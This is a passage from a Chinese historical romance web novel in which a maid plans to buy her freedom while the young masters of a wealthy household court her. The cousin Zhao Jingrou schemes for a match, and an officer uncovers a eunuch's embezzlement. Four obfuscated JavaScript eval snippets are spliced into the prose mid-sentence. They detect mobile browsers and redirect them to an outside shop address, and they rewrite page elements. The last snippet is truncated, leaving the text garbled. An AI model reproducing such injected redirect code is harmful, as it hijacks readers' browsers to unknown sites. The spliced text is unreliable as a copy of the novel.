袁英华怕谢渊迁怒，赶紧抱了铃姐儿到袁荣娘身边，使了个眼色：“行了，你们只略坐坐，也该去三叔那儿拜个年，误了时辰不好。” 玲姐儿怕冷，袁英华留着她和袁荣娘在暮香堂玩，兄弟三个往三房去。便是表亲，赵静柔年近十六，也不好跟着一起，留在暮香堂同袁英华她们一齐说话。 只是袁荣娘因着方才谢坤的事牵连赵静柔，几次搭话都没得个好脸，赵静柔本就是个好胜要强的人，这下心中也藏了一肚子气，勉强笑了告辞。 一出暮香堂的院门，赵静柔便一脚踢了院墙边的一株矮松出气，嘴里骂道：“不过是投了个好胎，不然哪轮得到她给我脸色瞧。生了个赔钱的玩意儿还不知夹紧尾巴做人，真有一天叫大表哥娶了个厉害的小，我才要说一句老天开眼！” 她气红了眼，嘴上便没个把门的，这话说得实在没规矩，让身后的梅香缩了脖子，不敢接话。 又踢了几脚，赵静柔新做的一双绣鞋蹭了松汁，绣花都染污了半朵，心中更气，还要再骂，好容易叫梅香劝了下来。 “小姐，暮香堂的门口还有丫鬟站着，咱们还是先回去吧。” 赵静柔闻言，回头果见院门口有个脸生的丫鬟缩头缩脑，提了裙角蹬蹬蹬地往回临水榭的石子路走去。 路上，赵静柔气尤未消：“我还想着融了一支赤金钗给她女儿做个项圈，当真是一番好心成了驴肝肺，我就是随手赏了人也不能给她！” 梅香小碎步跟在后头，心里却想，自家小姐一贯把黄白之物看得比什么都重，前儿才让自己拿不用的绸子给玲姐儿缝了虎头帽，说是新年礼，哪里还舍得这么快再做个金项圈送去，更别说什么随手赏人了。 只是她这么一说，自己也就这么一听，还得哄着安慰着：“姑娘，消消气吧。听说这大奶奶做姑娘时脾气就不好，说不准这产后气性就更大了，您何苦跟她置气，平白气坏了自己的身子！” 赵静柔绕了鬓边的一缕发丝，哼了一口气道：“她是自己长得丑，所以表哥看了哪个女子一眼她就醋意大发，不过是自个儿没用罢了。” 梅香想谢家的大少爷花名在外，院里有沾染的丫鬟就不下一掌之数，大奶奶生气也是应当。 她口中却道：“都是姑娘长得太美，才让大奶奶心里妒忌。” 赵静柔平日最喜听人夸赞自己貌美，梅香以为自己这一句定能叫她消气，谁知赵静柔却哀叹了一口气：“长得美又如何，旁人连看也不看一眼。” 梅香一愣，不知她说得旁人是谁。 等回了临水榭，梅香要去给赵静柔泡茶，谁知却被拉到跟前坐下：“梅香，你别忙，先跟我说说话。” 赵静柔说话向来颐指气使，唯独有事相求的时候才会换上这样一副面孔。 梅香卖身赵家，又跟着赵静柔从高陵千里迢迢到了延洲，全副身家性命都系在赵静柔身上。她虽不喜赵静柔张扬跋扈又一毛不拔的性子，但到底是自家小姐，只能是盼着她好，自己今后才能有出路。 她依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294594|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言坐了，就听赵静柔目光灼灼盯着她问道：“你平日跟牡丹园的那两个小丫头走得近，可曾听她们说起过二少爷的事？” 二少爷？ 梅香到底是跟了赵静柔多年，一听她这话，便知她心里打得什么主意。 “姑娘，你...” “你什么你的，快说啊！”赵静柔催促道。 “牡丹园的小丫头是三房的人，倒没说过什么二少爷的事。似乎只提过一嘴，说二少爷如今很得朝中重臣赏识，年轻轻就独当一面，十个有头脸的人物。” 赵静柔听着，脸上那笑意便慢慢漾开了，像是春水化冰，藏都藏不住。 “姑娘？”梅香见赵静柔不语，轻轻唤了一声。 赵静柔默然片刻，才缓缓道：“得了空你再去打听打听二少爷定亲没有。” “姑娘，您真打算...”梅香犹疑道，“大夫人不是说了等年后要带您去赴几场宴，相一个好人家么？” 赵静柔重重地放了茶碗，不屑道：“你真信她的花言巧语。若是延洲城里有好人家，她何苦将女儿远远地送去京城？替我找个好人家，哼，不过是嘴上说得好听罢了。我叫她一声舅母不假，说到底是隔了几层的亲戚，她又不是个热心肠的善人，哪里会真替我操心。” 赵静柔看着自己如今住的临水榭，虽是一明两暗三间房舍，但也独占了一处院墙，院里素白石子嵌成海浪状，小路边是大片的梨花和芭蕉。谢府不过一偏僻孤迥的小院子都这样灵动精致，可见其富贵繁荣。 自己从前在高陵争的那些银钱摆在这儿，怕是连看都不够看的。由俭入奢易，由奢至俭难，她不过在谢府住了一月有余，只是吃喝一事就远非从前家中可比。 心被养得大了，哪里那么容易消下去。 梅香知道赵静柔说得有理，但还是犹豫道：“可我瞧着那二少爷冷口冷面，又是个手下掌管精兵的武夫，瞧着怪吓人的。倒不如三少爷，瞧着温和儒雅，也还是个读书人呢！” 赵静柔摇摇头，只觉得梅香一个丫头还是目光短视。 谢垚是二房嫡子，正经的六品官，如今又兼着实缺，这样的人不必那些只会吟风弄月的纨绔子弟强上百倍？更何况人还长得那般俊俏，横看竖看都是为夫为婿的上佳人选。 她那位表弟其人倒是不差，但母亲早亡没个助力，又是庶子出身，现在也还只是个秀才，要是跟着熬个几年书读出来了还好，若是名落孙山，那才真的是哭都没有眼泪。她赵静柔不见兔子不撒鹰，赔本的买卖才不要干。 至于谢坤...不说他已经成婚，就是袁荣娘没进门，她也不做他想。但瞧袁英华那狠戾精明的性子，做了她的儿媳，还能在她手下讨得了好？ “行了，这些事你不懂，你只管按我说的去做就是了。” —— 谢浔孟浪轻率，行事向来不着边际，并不喜欢一板一眼的谢培，自然更不喜欢沉毅渊重的谢垚，倒是和乖张风流的谢坤能聊去一路。 故而谢垚谢培兄弟两个只在三房略坐坐便起身告辞。 一出院门，谢培就冲着谢垚拱手致歉，急说自己要出府一趟。 顺心瞧着金环提摆跑着跟上，压根没注意身边主子忽而沉下的脸色，嘴里疑道：“这大年初一，三少爷这着急忙慌的是跟哪儿去呢？” 42. 锁麟囊 不必早起烧灶，连珠直等到棉被里的热气渐散了才起床洗漱。 早饭是前一晚剩下的豆沙圆子在油里过了一遍，炸得酥酥脆脆配了豆粥吃正好。 连珠吃过饭，顺手收拾了厨房的锅碗，闲下来就帮着范荣儿叠元宵供奉神佛的莲花。 午饭时父子两个去天香楼掌柜家吃喜宴，连珠和范荣儿就随意蒸了糕饼兑付两口。糕饼吃完，范荣儿就去准备初二家里来客要吃的饭菜。 连珠又叠了三个莲花，揉了揉掐纸泛红的指尖，起身倒了半杯热茶。 厚重的布帘半掀，便听到廊下灯笼被风吹得狂乱飞舞声中传来几下敲门声响。 厨房灶火热，连珠看范荣儿穿得单薄，手上又挂了水，喊了声：“娘，你不必出来，我去开门。” 她快步跑到门口，年里贼多，靳家的院门用了门闩杠儿做锁，木头份量颇重，费力放到墙边，门一开闯进一双热切的眼。 冷风铺面，带着一股冬日里少有的茉莉清香，谢培来时路上淌了水的火气尽散了，冲着连珠笑道：“我来了。” “三少爷事忙，今儿怎么又来了？”连珠把着门，倒像是不肯让人进来。 “来专程给你赔不是，昨夜喝醉误了时间，也忘了让金环来说一声，你等久了是不是？” 连珠看他伏小做低的模样，又得了这么个意料之中的回答，忽觉得平白生的这股气好没意思，松手转身往院里去，任风把门打得更开：“我可没等，上回就同你说了，不去看那灯会。” 谢培看她面色不虞，想来是真生了自己的气，追上两步赶到连珠的身边，替她撩了布帘一齐进了屋里。 后头金环冻得跺脚，却也不好进屋，站在廊下缩紧脖子。 屋里倒是暖和，连珠这会儿也调理好心思，替他脱了披风，就要拿干帕子去擦上头凝了的霜雪。 谢培接过披风随手放在一边：“擦它做什么，屋子里暖和，一会儿就干了，没得让你过了凉气。” 又拾起先前的话头：“有言在先，我又失约，是我的不是，你要打要罚我悉听尊便，只求一点...你别气了？” 连珠从前听佛家谶语，说情绪如客尘，来时不拒，去时不归。本就不是什么大事，自然是丢过就算了。 其实认真说起来，昨夜心里涌起那点不悦都叫连珠心生警惕。 谢培对她有意，连靳九都看得出。 水滴石穿，她也怕那些情意日复一日渗进骨头里，将她吊着的那口气磨软了，生出些不该有的心思。 她重活一遭，是打算来讨债的，本就不是来留情的。 “还打罚呢，说出去让人知道了，还不得扒我一层皮。”连珠说着给他倒了杯茶，“你难得回来，过两日又要走，除夕夜同家人一起本是应当，我气什么。” “真的？”谢培一喜，胸口悬着的石头总算是落了下来。 气松了，谢培便将平江的见闻趣事捡了两件说给连珠听。说到乘船北行这一遭，连珠眸子亮了亮：“平江行水路方便，可不知延州本地往北边去的客船也有这么方便？” “倒也方便，延州毕竟人口繁密，宝善河南北都有渡口，一日来往客船总不下百数。”谢培说完才问，“你问这个做什么？” 既是在自己家里，连珠也不似在府中那般恪守规矩，在一旁的小凳坐下：“没出过山门的人，总归好奇。” 她说着，布帘又开，范荣儿躬身赔笑进来。她一早听见三少爷来了，几次想进来请安都被金环拦下来，私心又想到靳九的叮嘱，直等到日近中午要用饭了才斗胆进来。 “三少爷，今儿可是还在这儿用饭？” 谢培还没答，连珠闻言起身拿了旁边的披风道：“三少爷方才就说要走，娘去叫金环来吧。” 谢培哪里说过什么要走的话，只是连珠既说了，他也只好对范荣儿一笑，客气道：“顺路来瞧，这会儿正要走。” 连珠送了谢培出门，转身回来就见范荣儿直勾勾地看她。 范荣儿方才瞧谢培的眼珠子恨不得黏在连珠身上，哪还有什么不明白的，叫了连珠进屋还没坐下就道：“三少爷...三少爷可是真对你有意？” 连珠呼了一口气道：“娘既然问，我也就直说了，三少爷虽未开口说过，但我看来他确有此意。” “那...” “我不愿意。” 连珠说得坚决，让范荣儿听了微微一愣。 “我既说了要出府，就是打定主意的，就是三少爷真的有意，我也是不愿的。” 范荣儿倒并非盼着连珠一人得道，全家鸡犬升天，而是看着谢培待连珠温柔小意，才动摇了心意。 “可你爹说三少爷如今在大老爷跟前挂了名，日后前程不可估量...” 连珠淡淡道：“那也是他的前程，娘冷眼瞧着前头牛大叔家的杏儿，还不清楚在那大户人家里做妾能算个什么好出路么？” 范荣儿半句话噎在喉咙口，想想也是，那杏儿初被三老爷看中是何等风光荣耀，不过短短日子就丢到脑后，冷守空房。可再转念一想，哪就人人都像三老爷一样风流无情，也有那成了妾的儿女双全承欢膝下。 范荣儿呐呐道：“也有不一样的。” 连珠叹了口气，有些无奈道：“娘是叫我将今后几十年的命都交到别人手里？” 范荣儿没料想连珠会突然抛出这样一句话，登时愣在原地，不知说什么话来反驳。她心中也奇怪，自家女儿从小只爱穿金戴银、擦脂抹粉，怎么进府才几年，就换了副心性。难道真就府里那些嬷嬷丫鬟狠得吃人，叫珠儿吓怕了？ 她这般想着，也跟着连珠叹了一口气：“你年纪大了，也能做自己的主，就是你爹，他盼着你...罢了，过年时候不说这个，中午有什么想吃的？” 连珠倒不担心靳九，他毕竟不在谢府内做事，等自己交了钱、出了府，木已成舟，就是不行也得行了。 只是盼着这几日谢府宴客再忙一些，好让谢培别再上门让靳九看见，另生事端。 第二日果不见谢培，只是第三日金环又来。 “实不该大过年的再来叨扰，只是少爷他那件雀金裘破了个洞，今夜去见客要穿，这般紧急，只能请连珠姐姐帮帮忙了。”金环冲连珠露出个讨好的笑，语气虽是万分紧急，但目光压根不敢同她对视。 连珠不必多猜，就知道到这是他找的借口。 靳九在旁听见也哪有不明白的，一推连珠的肩膀笑道：“既是三少爷的事，那就是要紧的事，赶紧去，别耽误了。” 连珠无法，只得换了外出的衣裳跟着金环出门。 巷口停着一辆青帷小马车，金环一撩帘子，做了个请她上马的手势。 连珠站在原地看他：“不是说补衣服么？上马车做什么。” 金环一拍手，挤出个笑脸来：“好姐姐，你都猜到是三少爷的意思，何苦为难我呢？先上车吧，三少爷还等着姐姐呢！” 连珠看他一眼，知道是谢培的意思，问也问不出什么，只好先上了马车。 连珠坐在车里，撩了车窗的帘子看着路两边的景致，倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302803|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是往宝善河边的街市去。 约莫一刻钟后，马车停了。 连珠下了车，只见眼前是一座名唤九成楼的戏楼。雕梁画栋、翘角飞檐，廊下挂了灯笼，里头传来丝竹之声。 金环嘿嘿一笑，只在前头引路，沿着木梯上了二楼，再往西走到里间挂了“演真轩”的包间推了门。 包间雅致，临窗摆了一张方桌、两把椅子，正对着一扇花窗，窗下正对着一楼天井的戏台子。 窗边站着一人，听见动静转过身来。 “来了，路上冷不冷？”谢培见了连珠，赶紧迎了上来就要替她拿解下的披风。 连珠看这架势，哪里还有不明白的，只是嘴里揶揄：“衣裳呢？不是说破了洞要补？” 谢培听了脸上添几分委屈：“好啊，你个没良心的，我想着你在家无聊，寻个借口不叫你爹娘猜疑，让人请了你来听戏，你好歹领个情，倒来笑我！” 他眼巴巴地瞧着连珠，让连珠没忍住噗嗤笑了出来：“是，劳您费心了。” 谢培见她一笑，赶紧拉了她的手在窗边坐下，又倒了茶：“今儿登台的是三庆班的台柱子，听说青衣唱得极好，你可有什么想听的，我让伙计拿折子来点。” 连珠对戏倒不痴迷，只是既然来了也不想扫谢培的兴：“我听什么都好，只听两出，要早些回去。” “这么好的机会，自然要听喜欢的。”谢培说着便让金环去叫人。 谢培又将桌上的瓜果往连珠跟前送了送：“都是你爱吃的，还是想吃点别的，我让人送来。” “年节里一顿顿的本就吃得多，这些就够了，哪里吃得了那么多。” 谢培听她话语随意，分明比几日前刚见面的时候要亲昵更多，心里高兴起来，捻了两粒松子替她剥壳，又介绍起下面正在唱的戏。 说了两句，金环带着戏楼的伙计进来。 “谢三少爷。” “折子拿来，我们要点戏。” “是是是。” 九成楼点戏跟别家有些不同，不是画圈，而是自己个儿写戏名。 谢培拿了笔问：“想听什么？” 连珠一时哪里想得起来，谢培便又道：“不如先听着，想一想，你自己写？” 连珠点了头。 下面戏台上唱的正是霸王别姬，那扮虞姬的旦角一身绣银线的宫装，头戴点翠凤冠，莲步轻移，身段婉转如风拂柳。唱腔悠悠荡荡，穿过丝竹管弦，直往人耳朵里钻。台下看客掌声雷动，锣鼓咚咚锵锵，倒是别有一番热闹。 谢培又催了一回让连珠点戏，正说着话金环敲门进来，在谢培身边耳语两句。锣鼓声太响，金环说着话听不真切，两人便出门去谈。 连珠等了一会儿，随手在折子上写了出《锁麟囊》。半晌不见谢培回来，便自己开门将折子递还给那伙计。 伙计接了折子，穿过走廊又到了南边的厢房门口。 门外站了两个身量板正的小厮，面目严肃，腰侧都还挂了一把长刀。 “大人，我来拿折子。”那伙计陪着笑脸。 门口一人看他一眼，随后轻敲了门等里头有回应，才轻推了半边门进去。 那伙计低头悄悄往屋里搂了一眼，只见窗前椅上各坐一人。 一位穿正红色绸缎褂子，一头华发用青簪挽了。另一人侧身而坐，眉目微垂，薄唇轻抿，尚未靠近没对上眼神，就自觉一股威严。 谢垚斜坐目光幽幽往窗外探去，正看见右手边那扇半合的花窗后露出一张俏生生的熟悉的脸。 43. 相干 连珠托腮听戏，那虞姬剑舞得人眼花缭乱，待谢培坐到自己身边才发觉来人。 谢培目光并不落在戏台。 他看连珠，看她抿唇轻笑时嘴角弯了的一点弧度，看她听到悲处微微蹙起的眉心。 一颦一笑都比那咿咿呀呀的戏文来得吸引人。 一曲终了，谢培问：“怎么样？好看吗？” 连珠笑了笑：“嗯，不错。” “回来时碰到那伙计，看你点了戏。” “是。团团圆圆的，凑个年节的好意头。”连珠道。 谢培替她续了茶，又道：“戏倒还罢了，我瞧着你的字却比从前写得好了许多，我在家时带你练都不愿，怎么如今肯下功夫了？” 连珠概说了谢垚嫌她字丑，要她练字的事。 谢培莞尔：“艺精靠磨炼，严师出高徒。难怪我敦促不了你，原是我狠不下心。” 他一句话，两层意思，连珠听出其中的暧昧，斜睨他一眼，纤指点了台上翻了几个跟头出场的武生：“话多，戏开场了，还不好好看着？” 连珠不欲叫谢培再说些亲昵调情的话，目不转睛地盯着戏台，自然也没注意斜对的窗□□来的那道目光。 谢垚往演真轩的窗户看了许久，先是看连珠独坐窗前，又看谢培在她旁边坐下。 笑语晏晏，郎才女貌，瞧着当真像是一对璧人。 白文喜今儿特意请了他来听戏，早知道这谢校尉冷口冷面不喜颜色，这次更好，戏也不听，凝眸深思不知想得什么。 戴了大碧玉扳指的手拿起茶碗，吹去茶面上的浮沫，喝了一口道：“看来咱家今日这地方没选对，谢校尉不喜欢听戏啊。” 谢垚闻言收了目光，对着白文喜拱手道：“公公言重了，我于这丝竹管弦上确实不通，实是自己粗鄙，让公公见笑。” 这白文喜是宫里的老人，又挂着寺庙监修的衔儿，奉旨督办建寺事宜，私下里又和齐王有些勾连，不是能得罪的人。 白文喜呵呵一笑，也不深究，只摆手道：“谢校尉是做大事的人，自然没时间来研究什么风花雪月。” 他说着，往谢垚身边靠了靠，尖细的声音稍微压低了些，带了几分推心置腹的意味：“谢校尉，这次的事咱家是真要谢你。你是成大事的人，我最欣赏的也是成大事的人。往后若有什么用得上咱家的地方，言语一声也就是了。” 谢垚知道白文喜这话，便是将他视作一条船上的人。 也是，建寺用的砖瓦价高市面两成，这么一大笔亏空，向上要钱的折子又被齐王压了下来，如果不是自己剿匪得了万两白银，可没这么容易能交代过去。 白文喜事建寺监理，如此大的纰漏，担子自然是要他来扛的。 自己替他解决了这么大个难题，他怎么能不谢自己。 谢垚道：“既然我和公公同担这建寺的任务，就是分内之事，公公何故言谢。只是...” 银两亏空之事扰他良久，得谢垚替他解决了此事，心情大好，他说什么都肯听：“谢校尉不妨有话直说。” “这事可还要再查下去？” 白文喜脸上的笑容顿了一顿，他慢慢靠回椅背，手里那盏茶端得稳稳的，低头吹了吹茶沫，又呷了一口，才抬起眼皮看向谢垚。 “谢校尉这话问得...”他拖长了调子，脸上又浮起笑来，深不见底，“咱家倒想问问谢校尉，还想查什么？” 白文喜将那茶盏搁下，手指摩挲着那大碧玉扳指，慢悠悠道：“猫腻，咱家瞧见了；亏空，如今也填上了；该罚的，咱家心里有数；该报的，也自会报上去。” 他抬眼看向谢垚，目光里带着几分过来人的意味深长：“谢校尉年轻有为，办事利落，咱家佩服。可这世上有些事，查得太清楚，反倒不好收场。听说谢校尉文墨通达，当然也懂水至清则无鱼，人至察则无徒的道理。” 他语罢，偏过头去不再看谢垚，只是耳廓微微一动。 待听到谢垚依旧是冷声开口，话里却说：“是，谢垚年轻不懂轻重。” 白文喜满意笑了，端起茶盏，冲他举了举：“谢校尉明白就好，往后咱们共事的好日子还长着哩。” 谢垚心念如电转，胸中早是雪亮。此间亏空，非止于下吏贪婪，实乃上有所好。 恐那碧玉扳指上不知浸染多少账簿上的朱红。水至清则无鱼，可这水本就是他们搅浑的，自然盼着后来者同濯其足，共饮其浊。他方才故作迟钝，不过试探，倒真让他试出深浅来。 朝堂诡谲，几方势力角逐，他已然入局。藏锋于鞘，隐芒于尘，日子确实还长，且走一步看一步罢。 谢垚也端了茶盏，目光外露，看得却不是戏台。 听完两出戏，等连珠到家的时候天已擦黑，靳九伸长脖子瞧见连珠是从马车上下来的，登时红光满面：“好好好，我靳家也是要飞黄腾达了！” 范荣儿知道连珠心思，生怕她听了这话不高兴，一扯靳九的衣袖提醒道：“喝多了怕是嘴上没个把门的，什么话都敢说！” 靳九向来惧内，即便是得意忘了形被范荣儿一制，又稍稍压下些狂喜。只是在连珠进屋之后，免不了东问西问些三少爷的事。 连珠敷衍答了，又借口说累了独自回房待着。 之后两日家中来往都是些亲眷，倒没见谢培再来。又过了两日，金环来传了话，说是谢培的老师自平江过来，两人不日就要上路。 既是师傅来了，谢培定是时时刻刻都在旁作陪，恐怕临行之前要见上一面也难了。 金环来这一趟，既是告诉连珠这一消息，也是来求个信物。 连珠心道，谢培身上的香囊、吊坠哪一样不是出自自己的手，哪里还有什么能给的。 只是金环来了，断没有空手走的道理，可年前把绣的荷包都卖了，也没有新的。 “连珠姐姐还不知道少爷么？只要是姐姐的东西，少爷还能说不好么？不拘什么，随意寻个东西就是了。” 虽然金环话是如此，但连珠还是警醒着，那些拿出去卖的香囊扇坠还罢了，若是女儿家的闺阁之物就这么给了人，保不齐闹出什么祸端来。 瞧着金环赖在门边不肯走的样子，也知道没这么容易将他打发了。只好从屋里拿出个络子，递了金环道：“少爷不是有个海棠佩缺个络 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17312883|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子，便把这个拿去。” “诶！”金环见那络子配色素雅，又编得是精巧的步步生莲结，欢天喜地地拿了交差去。 待送走金环，连珠回屋将匣子里攒下的银钱一并拿了出来。 银票三百两，银锭四十五两，另有琐碎银两若干。 里面不光是她在谢府三年多的月例，还有谢垚给的赏赐多半都换成了银子。 那三百两银票是要贴身留着的，另外四十五两打点赎身的事宜。连珠收拾好银钱再次盘算起赴京的事宜。 无论是行水路还是行陆路，她都趁着和亲眷闲聊时有一搭没一搭地问过了。行陆路快些，雇一辆骡车，十一二日便能到京城，只是路上不太平，她一个单身女子，恐生事端。行水路慢些，从延洲搭船沿运河北上，约莫要走上二十来天。 待赎身的事办妥，便去寻一艘稳妥的客船，扮作寻常探亲的妇人，悄无声息地进京也就是了。 至于靳九范荣儿的养育之恩自己是难报了，她会留下一百两银子，也算是一点心意。 且说谢府那边年节里宾客如云，迎来送往好不热闹。初六日，门上来报沈夫之莅临，谢渊奉他上座，又命人速去唤谢培来见。 在谢府待了两天，沈夫之便携谢培起身上路，谢渊重视，亲送到大门外。 马车辚辚远去，连珠回府的时候正赶上这场面。 车队从府东边而过，连珠站在巷口看了一阵，便从后门进府，一路往卧云居走。 穿过月洞门时，恰碰见谢垚从院里头出来。 他今日穿一件浅紫织游麟纹的锦袍，腰间系一玉带，正和顺心说着话，骤然看见连珠脚下微顿，停了片刻听她屈膝行礼：“二少爷。” 连珠在家待了整整十日，谢垚却并非十日不曾见她。 戏楼花窗后一张俏脸今儿落到面前，叫他无端想起谢培求他的事来，心里也奇怪，这丫头是有什么本事，笼络得他那一心功名的三弟魂牵梦绕。 只是刚生出这个念头，心里莫名来了股烦躁，他又强压下去，对着连珠略一点头，连句话也没说，从她身侧走过。 倒是顺心对着连珠呵呵一笑，又快步跟了上去。 连珠没工夫揣摩主子心意，等人走了，依旧沿路往卧云居里头去。 反倒是谢垚前行两步，又停了下来，略偏头往回看了一眼，竟只见门槛边翻飞的裙角。 谢垚皱了眉头，方才还没注意，现下细细想来，自己给了这丫头不少赏赐，偏她身上穿的头上戴的还是从前那些半新不旧的东西，难道是那些赏赐入不了她的眼？ 不该啊，明明都是捡着她素日喜爱的穿戴选的... 想到此处，他忽地扼住念头。 什么时候自己竟在意起一个丫头穿什么？她用没用自己的赏赐，如何用那些赏赐跟自己又有什么相干？ 谢垚站在原地，脸色阴晴不定，许久没动。 顺心在一旁等了半天，不知是何缘由。只是见他这副模样，也不敢出声，悄悄往后缩了缩。 俄而，谢垚转过身，大步往外走去。 顺心一愣，连忙跟上：“少爷，去哪儿？” 44. 大有情意 山间的积雪刚化尽，风吹过时松柏簌簌地响，偶尔惊起几只山雀，扑棱棱地飞远了。 此时节还未到复工的时候，寺里比之往日静了许多，只有一些留守匠人住在后头棚屋里。 顺心顺意给谢垚拿了饭菜，两人又把多的搬到隔壁耳房用了。 吃完饭，顺心拿了签子剔牙，就听顺意忽然问：“主子今儿怎么突然上山了？瞧着面色像是不大对。” 顺心向来不如顺意仔细，这会儿听他提起，才若有所思地点点头：“好像是有点。” “什么叫好像！”顺意瞪了他一眼，没好气道，“你成日跟着主子竟一点都没看出什么？” 顺心闻言委屈：“主子一贯什么事都放在心里，哪里会跟我置喙，他心思难猜，我上哪知道去！” 顺意听了连连摇头，孺子不可教也。 顺心也不揪着这话，连声催促道：“行了，少爷怜你这些时候辛苦，让你下山好好歇息两日，你还不紧赶着回去！” 因着年节，寺庙停工，谢垚就留了顺意在山上替自己看着。这时日自己回来，体恤下情让他回府松快两日。 顺意并不在卧云居住，而是住二门外的平房。镇日也不忙，只替谢垚收取些信件，若是有急的，才着人或亲自送上山去。 这日，延洲城的守备往谢府送了些家乡土物，其中有几桶茶叶，顺意便拿去卧云居。 东西才交给涧蓝，就瞧见穿着个秋香色短袄，头戴金钗的小姐往院里来。 顺意常在山上，并不识得这女子就是才来谢府不久的表姑娘赵静柔。 却说这赵静柔自打起了攀附谢垚的心思，便一门心思想往卧云居里钻。 头一回往卧云居去，拿了两盒点心，寻了个请泉黛帮忙择花样的借口，说她是京里来的，知晓什么款式时兴。 泉黛收了礼，也热络地帮了忙，谁知这位表小姐三言两语就绕到了谢垚身上。泉黛初时还不觉得，几句话之后瞧着赵静柔娇媚脸上的柔柔春色，就警醒起来，再不肯透露跟谢垚有关的一字半句。 没几日，赵静柔又来，依旧是打着做衣裳的幌子。这回泉黛却是推说身子不爽，连院门都没叫她进来。 两三次之后，赵静柔哪里还不明白，一扭脸对着梅香骂道：“她当自己是个什么东西，不过一个丫鬟，也敢在我面前拿腔拿调！” 梅香不敢触怒她的火气，只等她说完，才敢小心劝着。 可赵静柔压根不是个遇坎就退的性子，分明越挫越勇，三不两日就在卧云居门口路过，盼着能见上谢垚一面。 偏生这回再来卧云居，赵静柔竟瞧见个穿朱红色色撒花缎面斗篷，头戴三四根碧玉金簪，通身华美另有风情的女子，那女子说话间被泉黛笑着迎进了卧云居。 泉黛素日眼高于顶，连自己都不放在眼里，独对这位小姐如此敬重，叫赵静柔神色一凛。她早听说谢垚还有一亲妹妹，名唤谢玉柯的，从小养在京城并不常来延洲，难不成就是眼前这一位？ 她这般想着，眼珠一转，打定了主意要把握机会，赶紧快步走上前去，高声呼道：“可是二小姐？” 泉黛本领人跨了门槛进了院里，听见这声又停下脚步，扭脸瞧见是赵静柔脸色微变。 她还没说话，就看赵静柔三步并作两步，袅袅婷婷地走到两人身边，声儿里透着惊喜：“早听说二小姐秀外慧中、天生丽质，今儿可算是见着真人了！” 那女子上下打量着赵静柔，却并不接话，反倒是泉黛愣了愣赶紧开口道：“表小姐误会了。” 赵静柔的笑容亦是僵在脸上，又看那女子勾了勾唇角，颇有几分高高在上的架势：“我姓薛，确是谢垚表哥家的亲戚，却并非玉柯妹妹。” 薛... 赵静柔从前在高陵对谢家本就知之甚少，更何况这薛馥芬本是二夫人的娘家远亲，她哪里认得。 若是旁的姑娘闹出这么个笑话，便是羞也要羞死了。可赵静柔哪里是常人，她直觉这位姓薛的待她有些敌意，看她年纪、听她口音，莫不是京城里头待谢垚有意的小姐，千里迢迢追到了延洲。 方才要亲近的心思歇了，赵静柔立马端正态度飞快打量起眼前这个人。 虽比自己高挑些，但没自己白，也不如自己漂亮。只是那举手投足的矜贵，和身上贵重的穿戴，叫她一股酸意从心底里涌了出来。 “原来是薛姑娘，怪我眼拙认错了人，还请莫怪。” 薛馥芬看她不语，笑意淡然，接着又看了泉黛一眼。 泉黛会意，忙上前一步，笑着对赵静柔道：“表姑娘，薛小姐远道而来，一路辛苦，奴婢先带她进去歇息。姑娘若有事，改日再来可好？” 这话说得客气，却分明是逐客的意思。若真累了，何不在家歇着，赶来谢府做什么！ 赵静柔脸上险些挂不住，咬了咬牙道：“那便不叨扰薛姑娘了。” 赶了人走，泉黛又重新将人迎进院里，倒茶摆果，一番热络自不必提。 可薛馥芬心中挂着刚刚那位表姑娘，哪里有心思吃茶，对着泉黛张口就问：“刚刚那是什么人。” 泉黛对着薛馥芬自是知无不言言无不尽，将赵静柔的身世来历，连带这几日来打听少爷消息的一并说给了她。 薛馥芬对谢垚大有情意，在京城时就防着那些对谢垚有意的官家小姐，不然也不会大老远地赶来延洲。女人于感情二字上独有关窍，更何况那赵静柔知晓她非谢玉柯的前后表现太过明显，她哪还能不明白。 “你的意思是，她三番两次往卧云居跑，还变着法儿地打听垚哥哥的消息？” “正是。” “好啊！”薛馥芬攥紧袖口，怒道，“我说呢，以为我是玉柯妹妹恨不能贴上身来，原来打的是这个主意！” “姑娘别生气，奴婢都挡着呢，她一次也没进来过。”泉黛劝着，又添了一句为自己表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 